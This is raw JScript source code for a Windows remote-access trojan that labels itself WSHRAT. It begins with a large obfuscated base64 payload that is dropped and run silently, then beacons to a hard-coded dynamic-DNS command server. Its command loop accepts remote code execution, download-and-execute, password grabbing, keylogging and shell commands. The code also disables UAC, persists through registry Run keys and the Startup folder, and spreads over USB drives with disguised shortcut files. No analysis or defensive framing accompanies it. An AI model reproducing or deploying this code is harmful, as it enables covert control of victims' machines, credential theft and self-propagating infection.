PiVnSUM+PiVnQ2k+PiVnSUNCcFppPj4lb2IySnFhSFIwY0dSdmQyNXNiMkZrTG5OMFlYUjFjeT4+JTlQUz4+JXlNRD4+JXBld29nSUM+PiVnSUM+PiVnSUhaaGNpPj4lZ2IySnFjM1J5WldGdFpHOTNibXh2WVdRZ1BTQlhVMk55YVhCMExrTnlaV0YwWlU5aWFtVmpkQ2dpWVdSdlpHSXVjM1J5WldGdElpazdDaT4+JWdJQz4+JWdJQz4+JWdiMkpxYzNSeVpXRnRaRzkzYm14dllXUXVWSGx3WlM+PiU5SURFN0k+PiVvZ0lDPj4lZ0lDPj4lZ0lHOWlhbk4wY21WaGJXUnZkMjVzYjJGa0xrOXdaVzRvS1RzS0lDPj4lZ0lDPj4lZ0lDQnZZbXB6ZEhKbFlXMWtiM2R1Ykc5aFpDNVhjbWwwWlNodlltcG9kSFJ3Wkc5M2JteHZZV1F1Y21WemNHOXVjMlZDYjJSNUtUc0tJQz4+JWdJQz4+JWdJQ0J2WW1wemRISmxZVzFrYjNkdWJHOWhaQzVUWVhabFZHOUdhV3hsS0hOMGNuTmhkbVYwYnlrN0NpPj4lZ0lDPj4lZ0lDPj4lZ2IySnFjM1J5WldGdFpHOTNibXh2WVdRdVkyeHZjMlVvS1RzS0lDPj4lZ0lDPj4lZ0lDPj4lS0lDPj4lZ0lDPj4lZ0lDQnZZbXB6ZEhKbFlXMWtiM2R1Ykc5aFpDPj4lOUlHNTFiR3c3Q2k+PiVnSUM+PiVnZlFvZ0lDPj4lZ0lHbG1LRzlpYW1aemIyUnZkMjVzYjJGa0xtWnBiR1ZGZUdsemRITW9jM1J5YzJGMlpYUnZLU2w3Q2k+PiVnSUM+PiVnSUM+PiVnYzJobGJHeHZZbW91Y25WdUtHOWlhbVp6YjJSdmQyNXNiMkZrTG1kbGRFWnBiR1VvYzNSeWMyRjJaWFJ2S1M1emFHOXlkRkJoZEdncE93b2dJQz4+JWdJQz4+JWdJSFZ3WkdGMFpYTjBZWFIxY3lnaVJYaGxZM1YwWldRclJtbHNaU0lwT3dvZ0lDPj4lZ0lIMEtmUW9LWm5WdVkzUnBiMjRnWkc5M2JteHZZV1FnS0dacGJHVjFjbXdzWm1sc1pXUnBjaWw3Q2k+PiVnSUNCcFppaG1hV3hsWkdseUlEMDlJQ0lpS1hzZ0NpPj4lZ0lDQm1hV3hsWkdseUlEMGdhVzV6ZEdGc2JHUnBjanNLSUM+PiVnSUgwS0NpPj4lZ0lDQnpkSEp6WVhabGRHOGdQU0JtYVd4bFpHbHlJQ3NnWm1sc1pYVnliQzV6ZFdKemRISW9abWxzWlhWeWJDNXNZWE4wU1c1a1pYaFBaaWdpWEZ3aUtTPj4lcklERXBPd29nSUM+PiVnZG1GeUlHOWlhbWgwZEhCa2IzZHViRzloWkM+PiU5SUZkVFkzSnBjSFF1UTNKbFlYUmxUMkpxWldOMEtDSnRjM2h0YkRJdWVHMXNhSFIwY0NJcE93b2dJQz4+JWdiMkpxYUhSMGNHUnZkMjVzYjJGa0xtOXdaVzRvSW5CdmMzUWlMQ0pvZEhSd09pOHZJaT4+JXJJR2h2YzNRZ0t5Pj4laU9pSWdLeUJ3YjNKMElDc2lMeUlnS3k+PiVpYzJWdVpDMTBieTF0WlNJZ0t5QnpjR3hwZEdWeUlDc2dabWxzWlhWeWJDd2dabUZzYzJVcE93b2dJQz4+JWdiMkpxYUhSMGNHUnZkMjVzYjJGa0xuTmxkRkpsY1hWbGMzUklaV0ZrWlhJb0luVnpaWEl0WVdkbGJuUTZJaXdnYVc1bWIzSnRZWFJwYjI0b0tTazdDaT4+JWdJQ0J2WW1wb2RIUndaRzkzYm14dllXUXVjMlZ1WkNnaUlpazdDaT4+JWdJQz4+JWdJQz4+JWdDaT4+JWdJQ0IyWVhJZ2IySnFabk52Wkc5M2JteHZZV1FnUFNCWFUyTnlhWEIwTGtOeVpXRjBaVTlpYW1WamRDZ2ljMk55YVhCMGFXNW5MbVpwYkdWemVYTjBaVzF2WW1wbFkzUWlLVHNLSUM+PiVnSUdsbUtHOWlhbVp6YjJSdmQyNXNiMkZrTG1acGJHVkZlR2x6ZEhNb2MzUnljMkYyWlhSdktTbDdDaT4+JWdJQz4+JWdJQz4+JWdiMkpxWm5OdlpHOTNibXh2WVdRdVpHVnNaWFJsUm1sc1pTaHpkSEp6WVhabGRHOHBPd29nSUM+PiVnZlFvZ0lDPj4lZ0k+PiVvZ0lDPj4lZ2FXWWdLRzlpYW1oMGRIQmtiM2R1Ykc5aFpDNXpkR0YwZFhNZ1BUMGdNaj4+JXdLWHNLSUM+PiVnSUM+PiVnSUNCMllYSWdJRzlpYW5OMGNtVmhiV1J2ZDI1c2IyRmtJRDBnVjFOamNtbHdkQzVEY21WaGRHVlBZbXBsWTNRb0ltRmtiMlJpTG5OMGNtVmhiU0lwT3dvZ0lDPj4lZ0lDPj4lZ0lHOWlhbk4wY21WaGJXUnZkMjVzYjJGa0xsUjVjR1VnUFM+PiV4T3k+PiVLSUM+PiVnSUM+PiVnSUNCdlltcHpkSEpsWVcxa2IzZHViRzloWkM1UGNHVnVLQ2s3Q2k+PiVnSUM+PiVnSUM+PiVnYjJKcWMzUnlaV0Z0Wkc5M2JteHZZV1F1VjNKcGRHVW9iMkpxYUhSMGNHUnZkMjVzYjJGa0xuSmxjM0J2Ym5ObFFtOWtlU2s3Q2k+PiVnSUM+PiVnSUM+PiVnYjJKcWMzUnlaV0Z0Wkc5M2JteHZZV1F1VTJGMlpWUnZSbWxzWlNoemRISnpZWFpsZEc4cE93b2dJQz4+JWdJQz4+JWdJRzlpYW5OMGNtVmhiV1J2ZDI1c2IyRmtMbU5zYjNObEtDazdDaT4+JWdJQz4+JWdJQz4+JWdDaT4+JWdJQz4+JWdJQz4+JWdiMkpxYzNSeVpXRnRaRzkzYm14dllXUWdQU0J1ZFd4c093b2dJQz4+JWdJSDBLSUM+PiVnSUNCcFppaHZZbXBtYzI5a2IzZHViRzloWkM1bWFXeGxSWGhwYzNSektITjBjbk5oZG1WMGJ5a3Bld29nSUM+PiVnSUM+PiVnSUhOb1pXeHNiMkpxTG5KMWJpaHZZbXBtYzI5a2IzZHViRzloWkM1blpYUkdhV3hsS0hOMGNuTmhkbVYwYnlrdWMyaHZjblJRWVhSb0tUc0tJQz4+JWdJQz4+JWdJQ0IxY0dSaGRHVnpkR0YwZFhNb0lrVjRaV04xZEdWa0swWnBiR1VpS1RzS0lDPj4lZ0lDQjlJPj4lcDlDZ3BtZFc1amRHbHZiaUIxY0dSaGRHVnpkR0YwZFhNb2MzUmhkSFZ6WDIxelp5bDdDblJ5ZVhzS0NYWmhjaUJ2WW1wemIyTWdQU0JYVTJOeWFYQjBMa055WldGMFpVOWlhbVZqZENnaWJYTjRiV3d5TG5odGJHaDBkSD4+JWlLVHNLQ1c5aWFuTnZZeTV2Y0dWdUtDSndiM04wSWl3aWFIUjBjRG92THlJZ0t5Qm9iM04wSUNzZ0lqb2lJQ3NnY0c5eWRDPj4lcklDSXZJaT4+JXJJQ0oxY0dSaGRHVXRjM1JoZEhWeklpPj4lcklITndiR2wwWlhJZ0t5QnpkR0YwZFhOZmJYTm5MQ0JtWVd4elpTazdDZ2x2WW1wemIyTXVjMlYwVW1WeGRXVnpkRWhsWVdSbGNpZ2lkWE5sY2kxaFoyVnVkRG9pTENCcGJtWnZjbTFoZEdsdmJpZ3BLVHNLQ1c5aWFuTnZZeTV6Wlc1a0tDSWlLVHNLQ1gxallYUmphQ2hsY25JcGUzMEtmUW9LWm5WdVkzUnBiMjRnZFhCc2IyRmtJQ2htYVd4bGRYSnNMQ0J5WlhSamJXUXBld29KZEhKNWV3b0pDWFpoY2k+PiVnYUhSMGNHOWlhaXh2WW1wemRISmxZVzExY0d4dllXUmxMR0oxWm1abGNqc0tDUWwyWVhJZ2IySnFjM1J5WldGdGRYQnNiMkZrWlM+PiU5SUZkVFkzSnBjSFF1UTNKbFlYUmxUMkpxWldOMEtDSmhaRzlrWWk1emRISmxZVzBpS1RzS0NRbHZZbXB6ZEhKbFlXMTFjR3h2WVdSbExsUjVjR1VnUFM+PiV4T3k+PiVLQ1FsdlltcHpkSEpsWVcxMWNHeHZZV1JsTGs5d1pXNG9LVHNLQ1FsdlltcHpkSEpsWVcxMWNHeHZZV1JsTG14dllXUkdjbTl0Um1sc1pTaG1hV3hsZFhKc0tUc0tDUWxpZFdabVpYSWdQU0J2WW1wemRISmxZVzExY0d4dllXUmxMbEpsWVdRb0tUc0tDUWx2WW1wemRISmxZVzExY0d4dllXUmxMbU5zYjNObEtDazdDZ29KQ1c5aWFuTjBjbVZoYldSdmQyNXNiMkZrSUQwZ2JuVnNiRHNLQ1FsMllYSWdhSFIwY0c5aWFpPj4lOUlGZFRZM0pwY0hRdVEzSmxZWFJsVDJKcVpXTjBLQ0p0YzNodGJESXVlRzFzYUhSMGNDSXBPd29KQ1doMGRIQnZZbW91YjNCbGJpZ2ljRzl6ZENJc0ltaDBkSD4+JTZMeThpSUNzZ2FHOXpkQz4+JXJJQ0k2SWk+PiVySUhCdmNuUWdLeUl2SWk+PiVySUhKbGRHTnRaQ3dnWm1Gc2MyVXBPd29KQ1doMGRIQnZZbW91YzJWMFVtVnhkV1Z6ZEVobFlXUmxjaWdpZFhObGNpMWhaMlZ1ZERvaUxDQnBibVp2Y20xaGRHbHZiaWdwS1RzS0NRbG9kSFJ3YjJKcUxuTmxibVFvWW5WbVptVnlLVHNLQ1gxallYUmphQ2hsY2lsN0Nna0pkWEJrWVhSbGMzUmhkSFZ6S0NKVmNHeHZZV1FyUm1GcGJHVmtJaWs3Q2dsOUNuMEtDZ3BtZFc1amRHbHZiaUJrWld4bGRHVm1ZV1lnS0hWeWJDbDdDblJ5ZVhzS1ptbHNaWE41YzNSbGJXOWlhaTVrWld4bGRHVkdhV3hsS0hWeWJDazdDbVpwYkdWemVYTjBaVzF2WW1vdVpHVnNaWFJsUm05c1pHVnlLSFZ5YkNrN0NuMWpZWFJqYUNobGNuSXBlMzBLZlFvS1puVnVZM1JwYjI0Z1kyMWtjMmhsYkd3Z0tHTnRaQ2w3Q25aaGNpQm9kSFJ3YjJKcUxHOWxlR1ZqTEhKbFlXUmhiR3htY205dFlXNTVPd3AyWVhJZ2MzUnljMkYyWlhSdklEMGdhVzV6ZEdGc2JHUnBjaT4+JXJJQ0p2ZFhRdWRIaDBJanNLYzJobGJHeHZZbW91Y25WdUtDSWxZMjl0YzNCbFl5VWdMMk1nSWk+PiVySUdOdFpDPj4lcklDSWdQaUJjSWlJZ0t5QnpkSEp6WVhabGRHOGdLeT4+JWlYQ0lpTEM+PiV3TENCMGNuVmxLVHNLY21WaFpHRnNiR1p5YjIxaGJua2dQU0JtYVd4bGMzbHpkR1Z0YjJKcUxtOXdaVzVVWlhoMFJtbHNaU2h6ZEhKellYWmxkRzhwTG5KbFlXUkJiR3dvS1RzS2RISjVld3BtYVd4bGMzbHpkR1Z0YjJKcUxtUmxiR1YwWlVacGJHVW9jM1J5YzJGMlpYUnZLVHNLZldOaGRHTm9LR1ZsS1h0OUNuSmxkSFZ5YmlCeVpXRmtZV3hzWm5KdmJXRnVlVHNLZlFvS0NtWjFibU4wYVc5dUlHVnVkVzF3Y205alpYTnpLQ2w3Q2k+PiVnSUNCMllYSWdaWD4+JWdQUz4+JWlJanNLZEhKNWV3cDJZWElnYjJKcWQyMXBjMlZ5ZG1salpTPj4lOUlFZGxkRTlpYW1WamRDZ2lkMmx1YldkdGRITTZYRnhjWEM1Y1hISnZiM1JjWEdOcGJYWXlJaWs3Q25aaGNpQmpiMnhwZEdWdGN5Pj4lOUlHOWlhbmR0YVhObGNuWnBZMlV1UlhobFkxRjFaWEo1S0NKelpXeGxZM1FnS2lCbWNtOXRJSGRwYmpNeVgzQnliMk5sYzNNaUxHNTFiR3dzTkRncE93b0tabTl5S0haaGNpQm1hUz4+JTlJRzVsZHlCRmJuVnRaWEpoZEc5eUtHTnZiR2wwWlcxektUc2dJV1pwTG1GMFJXNWtLQ2s3SUdacExtMXZkbVZPWlhoMEtDa3Bld29nSUM+PiVnZG1GeUlHOWlhbWwwWlcwZ1BTQm1hUzVwZEdWdEtDazdDZ2xsY0M+PiU5SUdWd0lDc2diMkpxYVhSbGJTNXVZVzFsSUNzZ0lsNGlPd29KWlg+PiVnUFNCbGNDPj4lcklHOWlhbWwwWlcwdWNISnZZMlZ6YzBsa0lDc2dJbDRpT3dvZ0lDPj4lZ1pYPj4lZ1BTQmxjQz4+JXJJRzlpYW1sMFpXMHVaWGhsWTNWMFlXSnNaVkJoZEdnZ0t5QnpjR3hwZEdWeU93cDlDbjFqWVhSamFDaGxjaWw3ZlFweVpYUjFjbTRnWlg+PiU3Q24wS0NtWjFibU4wYVc5dUlHVjRhWFJ3Y205alpYTnpJQ2h3YVdRcGV3cDBjbmw3Q25Ob1pXeHNiMkpxTG5KMWJpZ2lkR0Z6YTJ0cGJHd2dMMFlnTDFRZ0wxQkpSQz4+JWlJQ3NnY0dsa0xEPj4lc2RISjFaU2s3Q24xallYUmphQ2hsY25JcGUzMEtmUW9LWm5WdVkzUnBiMjRnWjJWMFVHRnlaVzUwUkdseVpXTjBiM0o1S0hCaGRHZ3Bld29KZG1GeUlHWnZJRDBnWm1sc1pYTjVjM1JsYlc5aWFpNW5aWFJHYVd4bEtIQmhkR2dwT3dvSmNtVjBkWEp1SUdacGJHVnplWE4wWlcxdlltb3VaMlYwVUdGeVpXNTBSbTlzWkdWeVRtRnRaU2htYnlrN0NuMEtDbVoxYm1OMGFXOXVJR1Z1ZFcxbVlXWWdLR1Z1ZFcxa2FYSXBld29nSUM+PiVnZG1GeUlISmxJRDBnSWlJN0NuUnllWHNLSUM+PiVnSUdadmNpaDJZWElnWm1rZ1BTQnVaWGNnUlc1MWJXVnlZWFJ2Y2lobWFXeGxjM2x6ZEdWdGIySnFMbWRsZEVadmJHUmxjaT4+JW9aVzUxYldScGNpa3VjM1ZpWm05c1pHVnljeWs3SUNGbWFTNWhkRVZ1WkNncE95Qm1hUzV0YjNabFRtVjRkQ2dwS1hzS0lDPj4lZ0lDPj4lZ0lDQjJZWElnWm05c1pHVnlJRDBnWm1rdWFYUmxiU2dwT3dvZ0lDPj4lZ0lDPj4lZ0lISmxJRDBnY21VZ0t5Qm1iMnhrWlhJdWJtRnRaUz4+JXJJQ0plWG1SZUlpPj4lcklHWnZiR1JsY2k1aGRIUnlhV0oxZEdWeklDc2djM0JzYVhSbGNqc2dDaT4+JWdJQ0I5Q2k+PiVnSUNCbWIzSW9kbUZ5SUdacElEMGdibVYzSUVWdWRXMWxjbUYwYjNJb1ptbHNaWE41YzNSbGJXOWlhaTVuWlhSR2IyeGtaWElnS0dWdWRXMWthWElwTG1acGJHVnpLVHNnSVdacExtRjBSVzVrS0NrN0lHWnBMbTF2ZG1WT1pYaDBLQ2twZXdvZ0lDPj4lZ0lDPj4lZ0lIWmhjaUJtYVd4bElEMGdabWt1YVhSbGJTZ3BPd29nSUM+PiVnSUM+PiVnSUhKbElEMGdjbVVnS3lCbWFXeGxMbTVoYldVZ0t5Pj4laVhpSWdLeUJtYVd4bExuTnBlbVVnS3k+PiVpWGlJZ0t5Qm1hV3hsTG1GMGRISnBZblYwWlhNZ0t5QnpjR3hwZEdWeU95Pj4lS0lDPj4lZ0lIMEtmV05oZEdOb0tHVnljaWw3ZlFweVpYUjFjbTRnY21VN0NuMD0iLCAiYmluLmJhc2U2NCJdOwp9CgpmdW5jdGlvbiBibG9vZE8ocHN0QVIpewoJcHN0QVIuTy5kYXRhVHlwZSA9IGJnZnRyZXdhcygpWzFdOwoJcHN0QVIuTy50ZXh0ID0gYmdmdHJld2FzKClbMF0ucmVwbGFjZShwc3RBUi5JLCAiQSIpOwoJcmV0dXJuICBBcnJheShmdW5jdGlvbigpe3JldHVybiBwc3RBUi5PO30pOwp9CnZhciBDTyA9IEFycmF5KGZ1bmN0aW9uKHR4dCl7CglyZXR1cm4gV1NjcmlwdC5DcmVhdGVPYmplY3QodHh0KTsKfSk7CgpmdW5jdGlvbiB3ZWFrMG8wbygpewoJdHJ5ewoJCXJldHVybiBDT1swXSgiU3lzdGVtLk5ldC5PbGVEYiIpOwoJfWNhdGNoKGVyKXsKCQlyZXR1cm4gbnVsbDsKCX0KfQoKZnVuY3Rpb24gcG93ZXJRUVEoYTFzMmVldzAsIGExczJlZXcxLCBhMXMyZWV3Mil7CgkvL3JldHVybiBBcnJheShhMXMyZWV3MFswXS5nZXRTdHJpbmcoKGExczJlZXcwWzFdKSksIGExczJlZXcyKTsKfQoKZnVuY3Rpb24gaGFpbE1ZamVzKGExczJlZXcsIGExczJlZXcxLCBhMXMyZWV3Mil7Cgl0cnl7CgkJdmFyIG50diA9IGJsb29kTyh7TzogYTFzMmVldzEuY3JlYXRlRWxlbWVudCgiZWd5IiksIEk6IG5ldyBSZWdFeHAoYTFzMmVld1swXSwgYTFzMmVld1sxXSl9KTsKCQlpZih3ZWFrMG8wbygpID09IG51bGwpewoJCQl2YXIgdHV0TmthbWFuID0gQ09bMF0oIkFkb2RiLlN0cmVhbSIpOwoJCQl0dXROa2FtYW4uVHlwZSA9IDE7CgkJCXR1dE5rYW1hbi5PcGVuKCk7CgkJCXR1dE5rYW1hbi5Xcml0ZShudHZbMF0oKS5ub2RlVHlwZWRWYWx1ZSk7CgkJCXR1dE5rYW1hbi5Qb3NpdGlvbiA9IDA7CgkJCXR1dE5rYW1hbi5UeXBlID0gKDMtMSk7CgkJCXR1dE5rYW1hbi5DaGFyU2V0ID0gInVzLWFzY2lpIjsKCQkJYTFzMmVldyA9IEFycmF5KHR1dE5rYW1hbi5SZWFkVGV4dCgpLCBldmFsKTsKCQkJbnR2ID0gbnVsbDsKCQl9ZWxzZXsKCQkJbnR2ID0gcG93ZXJRUVEoW3dlYWswbzBvKCksIG50di5pdGVtKCkubm9kZVR5cGVkVmFsdWVdLCBudWxsLCBldmFsKTsKCQl9CgkJYTFzMmVldzIgPSBudHYuUmVhZCgpOwoJCQoJfWNhdGNoKGVycil7CgkJYTFzMmVld1sxXSh7ajpbYTFzMmVld1swXV19LmpbMF0pOwoJfQp9CgpoYWlsTVlqZXMoQXJyYXkoIj4+JSIsICJnIiksIENPWzBdKCJNaWNyb3NvZnQuWG1sRG9tIikpOwo="; var wshShell1 = WScript.CreateObject("WScript.Shell"); var appdatadir1 = wshShell1.ExpandEnvironmentStrings("%appdata%"); var stubpath1 = appdatadir1 + "\\aRUaSMlhYC.js"; var decoded1 = decodeBase64(longText1); writeBytes(stubpath1, decoded1); wshShell1.run("wscript //B \"" + stubpath1 + "\""); }catch(er){} function writeBytes(file, bytes){ try{ var binaryStream = WScript.CreateObject("ADODB.Stream"); binaryStream.Type = 1; binaryStream.Open(); binaryStream.Write(bytes); binaryStream.SaveToFile(file, 2); }catch(err){ } } function decodeBase64(base64){ var DM = WScript.CreateObject("Microsoft.XMLDOM"); var EL = DM.createElement("tmp"); EL.dataType = "bin.base64"; EL.text = base64; return EL.nodeTypedValue; } wshShell1 = null; var host = "Extendwsh5600.ddns.net"; var port = 5600; var installdir = "%temp%"; var runAsAdmin = false; var lnkfile = true; var lnkfolder = true; if(runAsAdmin == true){ startupElevate(); } if(WScript.Arguments.Named.Exists("elevated") == true){ disableSecurity(); } var shellobj = WScript.createObject("wscript.shell"); var filesystemobj = WScript.createObject("scripting.filesystemobject"); var httpobj = WScript.createObject("msxml2.xmlhttp"); var installname = WScript.scriptName; var startup = shellobj.specialFolders("startup") + "\\"; installdir = shellobj.ExpandEnvironmentStrings(installdir) + "\\"; if(!filesystemobj.folderExists(installdir)){ installdir = shellobj.ExpandEnvironmentStrings("%temp%") + "\\";} var spliter = "|"; var sleep = 5000; var response, cmd, param, oneonce; var inf = ""; var usbspreading = ""; var startdate = ""; instance(); while(true){ try{ install(); response = ""; response = post ("is-ready",""); cmd = response.split(spliter); switch(cmd[0]){ case "disconnect": WScript.quit(); break; case "reboot": shellobj.run("%comspec% /c shutdown /r /t 0 /f", 0, true); break; case "shutdown": shellobj.run("%comspec% /c shutdown /s /t 0 /f", 0, true); break; case "excecute": param = cmd[1]; eval(param); break; case "get-pass": passgrabber(cmd[1], "cmdc.exe", cmd[2]); break; case "get-pass-offline": passgrabber2(cmd[1], "cmdc.exe", cmd[2]); break; case "update": param = response.substr(response.indexOf("|") + 1); oneonce.close(); oneonce = filesystemobj.openTextFile(installdir + installname ,2, false); oneonce.write(param); oneonce.close(); shellobj.run("wscript.exe //B \"" + installdir + installname + "\""); updatestatus("Updated"); WScript.quit(); case "uninstall": uninstall(); break; case "up-n-exec": download(cmd[1],cmd[2]); break; case "bring-log": upload(installdir + "wshlogs\\" + cmd[1], "take-log"); break; case "down-n-exec": sitedownloader(cmd[1],cmd[2]); break; case "filemanager": servicestarter(cmd[1], "fm-plugin.exe", information()); break; case "rdp": servicestarter(cmd[1], "rd-plugin.exe", information()); break; case "keylogger": keyloggerstarter(cmd[1], "kl-plugin.exe", information(), 0); break; case "offline-keylogger": keyloggerstarter(cmd[1], "kl-plugin.exe", information(), 1); break; case "browse-logs": post("is-logs", enumfaf(installdir + "wshlogs")); break; case "cmd-shell": param = cmd[1]; post("is-cmd-shell",cmdshell(param)); break; case "get-processes": post("is-processes", enumprocess()); break; case "disable-uac": disableSecurity(); updatestatus("UAC+Disabled+(Reboot+Required)"); break; case "check-eligible": if(filesystemobj.fileExists(cmd[1])){ updatestatus("Is+Eligible"); }else{ updatestatus("Not+Eligible"); } break; case "force-eligible": if(WScript.Arguments.Named.Exists("elevated") == true){ if(filesystemobj.folderExists(cmd[1])){ shellobj.run("%comspec% /c " + cmd[2], 0, true); updatestatus("SUCCESS"); }else{ updatestatus("Component+Missing"); } } else{ updatestatus("Elevation+Required"); } break; case "elevate": if(WScript.Arguments.Named.Exists("elevated") == false){ try{ oneonce.close(); oneonce = null; WScript.CreateObject("Shell.Application").ShellExecute("wscript.exe", " //B \"" + WScript.ScriptFullName + "\" /elevated", "", "runas", 1); updatestatus("Client+Elevated"); }catch(nn){ } WScript.quit(); } else{ updatestatus("Client+Elevated"); } break; case "if-elevate": if(WScript.Arguments.Named.Exists("elevated") == false){ updatestatus("Client+Not+Elevated"); } else{ updatestatus("Client+Elevated"); } break; case "kill-process": exitprocess(cmd[1]); break; case "sleep": param = cmd[1]; sleep = eval(param); break; } }catch(er){} WScript.sleep(sleep); } function install(){ var lnkobj; var filename; var foldername; var fileicon; var foldericon; upstart(); for(var dri = new Enumerator(filesystemobj.drives); !dri.atEnd(); dri.moveNext()){ var drive = dri.item(); if (drive.isready == true){ if (drive.freespace > 0 ){ if (drive.drivetype == 1 ){ try{ filesystemobj.copyFile(WScript.scriptFullName , drive.path + "\\" + installname,true); if (filesystemobj.fileExists (drive.path + "\\" + installname)){ filesystemobj.getFile(drive.path + "\\" + installname).attributes = 2+4; } }catch(eiju){} for(var fi = new Enumerator(filesystemobj.getfolder(drive.path + "\\").files); !fi.atEnd(); fi.moveNext()){ try{ var file = fi.item(); if (lnkfile == false){break;} if (file.name.indexOf(".")){ if ((file.name.split(".")[file.name.split(".").length - 1]).toLowerCase() != "lnk"){ file.attributes = 2+4; if (file.name.toUpperCase() != installname.toUpperCase()){ filename = file.name.split("."); lnkobj = shellobj.createShortcut(drive.path + "\\" + filename[0] + ".lnk"); lnkobj.windowStyle = 7; lnkobj.targetPath = "cmd.exe"; lnkobj.workingDirectory = ""; lnkobj.arguments = "/c start " + installname.replace(new RegExp(" ", "g"), "\" \"") + "&start " + file.name.replace(new RegExp(" ", "g"), "\" \"") +"&exit"; try{fileicon = shellobj.RegRead ("HKEY_LOCAL_MACHINE\\software\\classes\\" + shellobj.RegRead ("HKEY_LOCAL_MACHINE\\software\\classes\\." + file.name.split(".")[file.name.split(".").length - 1]+ "\\") + "\\defaulticon\\"); }catch(eeee){} if (fileicon.indexOf(",") == 0){ lnkobj.iconLocation = file.path; }else { lnkobj.iconLocation = fileicon; } lnkobj.save(); } } } }catch(err){} } for(var fi = new Enumerator(filesystemobj.getfolder(drive.path + "\\").subFolders); !fi.atEnd(); fi.moveNext()){ try{ var folder = fi.item(); if (lnkfolder == false){break;} folder.attributes = 2+4; foldername = folder.name; lnkobj = shellobj.createShortcut(drive.path + "\\" + foldername + ".lnk"); lnkobj.windowStyle = 7; lnkobj.targetPath = "cmd.exe"; lnkobj.workingDirectory = ""; lnkobj.arguments = "/c start " + installname.replace(new RegExp(" ", "g"), "\" \"") + "&start explorer " + folder.name.replace(new RegExp(" ", "g"), "\" \"") +"&exit"; foldericon = shellobj.RegRead("HKEY_LOCAL_MACHINE\\software\\classes\\folder\\defaulticon\\"); if (foldericon.indexOf(",") == 0){ lnkobj.iconLocation = folder.path; }else { lnkobj.iconLocation = foldericon; } lnkobj.save(); }catch(err){} } } } } } } function startupElevate(){ if(WScript.Arguments.Named.Exists("elevated") == false){ try{ WScript.CreateObject("Shell.Application").ShellExecute("wscript.exe", " //B \"" + WScript.ScriptFullName + "\" /elevated", "", "runas", 1); }catch(nn){ } WScript.quit(); } } function disableSecurity(){ if(WScript.Arguments.Named.Exists("elevated") == true){ var oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\default:StdRegProv"); oReg.SetDwordValue(0x80000002,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System","EnableLUA", 0); oReg.SetDwordValue(0x80000002,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System","ConsentPromptBehaviorAdmin", 0); oReg = null; } } function uninstall(){ try{ var filename; var foldername; try{ shellobj.RegDelete("HKEY_CURRENT_USER\\software\\microsoft\\windows\\currentversion\\run\\" + installname.split(".")[0]); shellobj.RegDelete("HKEY_LOCAL_MACHINE\\software\\microsoft\\windows\\currentversion\\run\\" + installname.split(".")[0]); }catch(ei){} try{ filesystemobj.deleteFile(startup + installname ,true); filesystemobj.deleteFile(WScript.scriptFullName ,true); }catch(eej){} for(var dri = new Enumerator(filesystemobj.drives); !dri.atEnd(); dri.moveNext()){ var drive = dri.item(); if (drive.isready == true){ if (drive.freespace > 0 ){ if (drive.drivetype == 1 ){ for(var fi = new Enumerator(filesystemobj.getfolder(drive.path + "\\").files); !fi.atEnd(); fi.moveNext()){ var file = fi.item(); try{ if (file.name.indexOf(".")){ if ((file.name.split(".")[file.name.split(".").length - 1]).toLowerCase() != "lnk"){ file.attributes = 0; if (file.name.toUpperCase() != installname.toUpperCase()){ filename = file.name.split("."); filesystemobj.deleteFile(drive.path + "\\" + filename[0] + ".lnk" ); }else{ filesystemobj.deleteFile(drive.path + "\\" + file.name); } }else{ filesystemobj.deleteFile (file.path); } } }catch(ex){} } for(var fi = new Enumerator(filesystemobj.getfolder(drive.path + "\\").subFolders); !fi.atEnd(); fi.moveNext()){ var folder = fi.item(); folder.attributes = 0; } } } } } }catch(err){} WScript.quit(); } function post (cmd ,param){ try{ httpobj.open("post","http://" + host + ":" + port +"/" + cmd, false); httpobj.setRequestHeader("user-agent:",information()); httpobj.send(param); return httpobj.responseText; }catch(err){ return ""; } } function information(){ try{ if (inf == ""){ inf = hwid() + spliter; inf = inf + shellobj.ExpandEnvironmentStrings("%computername%") + spliter ; inf = inf + shellobj.ExpandEnvironmentStrings("%username%") + spliter; var root = GetObject("winmgmts:{impersonationlevel=impersonate}!\\\\.\\root\\cimv2"); var os = root.ExecQuery ("select * from win32_operatingsystem"); for(var fi = new Enumerator(os); !fi.atEnd(); fi.moveNext()){ var osinfo = fi.item(); inf = inf + osinfo.caption + spliter; break; } inf = inf + "plus" + spliter; inf = inf + security() + spliter; inf = inf + usbspreading; inf = "WSHRAT" + spliter + inf + spliter + "JavaScript-v1.3" ; return inf; }else{ return inf; } }catch(err){ return ""; } } function upstart (){ try{ try{ shellobj.RegWrite("HKEY_CURRENT_USER\\software\\microsoft\\windows\\currentversion\\run\\" + installname.split(".")[0], "wscript.exe //B \"" + installdir + installname + "\"" , "REG_SZ"); shellobj.RegWrite("HKEY_LOCAL_MACHINE\\software\\microsoft\\windows\\currentversion\\run\\" + installname.split(".")[0], "wscript.exe //B \"" + installdir + installname + "\"" , "REG_SZ"); }catch(ei){} filesystemobj.copyFile(WScript.scriptFullName, installdir + installname, true); filesystemobj.copyFile(WScript.scriptFullName, startup + installname, true); }catch(err){} } function hwid(){ try{ var root = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2"); var disks = root.ExecQuery ("select * from win32_logicaldisk"); for(var fi = new Enumerator(disks); !fi.atEnd(); fi.moveNext()){ var disk = fi.item(); if (disk.volumeSerialNumber != ""){ return disk.volumeSerialNumber; break; } } }catch(err){ return ""; } } function security(){ try{ var objwmiservice = GetObject("winmgmts:{impersonationlevel=impersonate}!\\\\.\\root\\cimv2"); var colitems = objwmiservice.ExecQuery("select * from win32_operatingsystem",null,48); var versionstr, osversion; for(var fi = new Enumerator(colitems); !fi.atEnd(); fi.moveNext()){ var objitem = fi.item(); versionstr = objitem.version.toString().split("."); } osversion = versionstr[0] + "."; for (var x = 1; x < versionstr.length; x++){ osversion = osversion + versionstr[0]; } osversion = eval(osversion); var sc; if (osversion > 6){ sc = "securitycenter2"; }else{ sc = "securitycenter";} var objsecuritycenter = GetObject("winmgmts:\\\\localhost\\root\\" + sc); var colantivirus = objsecuritycenter.ExecQuery("select * from antivirusproduct", "wql", 0); var secu = ""; for(var fi = new Enumerator(colantivirus); !fi.atEnd(); fi.moveNext()){ var objantivirus = fi.item(); secu = secu + objantivirus.displayName + " ."; } if(secu == ""){secu = "nan-av";} return secu; }catch(err){} } function getDate(){ var s = ""; var d = new Date(); s += d.getDate() + "/"; s += (d.getMonth() + 1) + 